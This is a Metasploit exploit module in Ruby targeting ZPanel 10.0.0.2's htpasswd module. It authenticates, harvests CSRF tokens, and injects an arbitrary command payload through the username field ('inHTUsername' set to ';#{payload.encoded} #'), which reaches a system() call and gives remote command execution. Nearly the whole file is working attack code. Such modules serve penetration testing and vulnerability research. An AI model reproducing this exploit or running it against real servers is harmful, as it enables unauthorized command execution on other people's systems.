##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
        'Description' => %q{
          This module exploits a vulnerability found in ZPanel's htpasswd module. When
          creating .htaccess using the htpasswd module, the username field can be used to
          inject system commands, which is passed on to a system() function for executing
          the system's htpasswd command.

          Please note: In order to use this module, you must have a valid account to login
          to ZPanel.  An account part of any of the default groups should suffice, such as:
          Administrators, Resellers, or Users (Clients).  By default, there's already a
          'zadmin' user, but the password is randomly generated.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'shachibista', # Original discovery
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2013-10053'],
          ['OSVDB', '94038'],
          ['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'],
          ['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']
        ],
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Targets' => [
          [ 'ZPanel 10.0.0.2 on Linux', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-06-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def check
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /This server is running: ZPanel/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def login(base, token, cookie)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base, 'index.php'),
      'cookie' => cookie,
      'vars_post' => {
        'inUsername' => datastore['USERNAME'],
        'inPassword' => datastore['PASSWORD'],
        'sublogin2' => 'LogIn',
        'csfr_token' => token
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out")
    elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/
      fail_with(Failure::NoAccess, "#{peer} - Login failed")
    end

    res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
  end

  def get_csfr_info(base, path = 'index.php', cookie = '', vars = {})
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(base),
      'cookie' => cookie,
      'vars_get' => vars
    })

    fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res

    token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
    sid = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
    fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?

    return token, sid
  end

  def exec(base, token, sid, user_salt_cookie)
    fake_pass = Rex::Text.rand_text_alpha(5)
    cookie = "#{sid}; #{user_salt_cookie}"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base),
      'cookie' => cookie,
      'vars_get' => {
        'module' => 'htpasswd',
        'action' => 'CreateHTA'
      },
      'vars_post' => {
        'inAuthName' => 'Restricted+Area',
        'inHTUsername' => ";#{payload.encoded} #",
        'inHTPassword' => fake_pass,
        'inConfirmHTPassword' => fake_pass,
        'inPath' => '/',
        'csfr_token' => token
      }
    })
  end

  def exploit
    base = target_uri.path

    token, sid = get_csfr_info(base)
    vprint_status("Token=#{token}, SID=#{sid}")

    user_salt_cookie = login(base, token, sid)
    print_good("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")

    vars = { 'module' => 'htpasswd', 'selected' => 'Selected', 'path' => '/' }
    cookie = "#{sid}; #{user_salt_cookie}"
    token = get_csfr_info(base, '', cookie, vars)[0]
    vprint_status("Token=#{token}, SID=#{sid}")

    print_status("Executing payload...")
    exec(base, token, sid, user_salt_cookie)
  end
end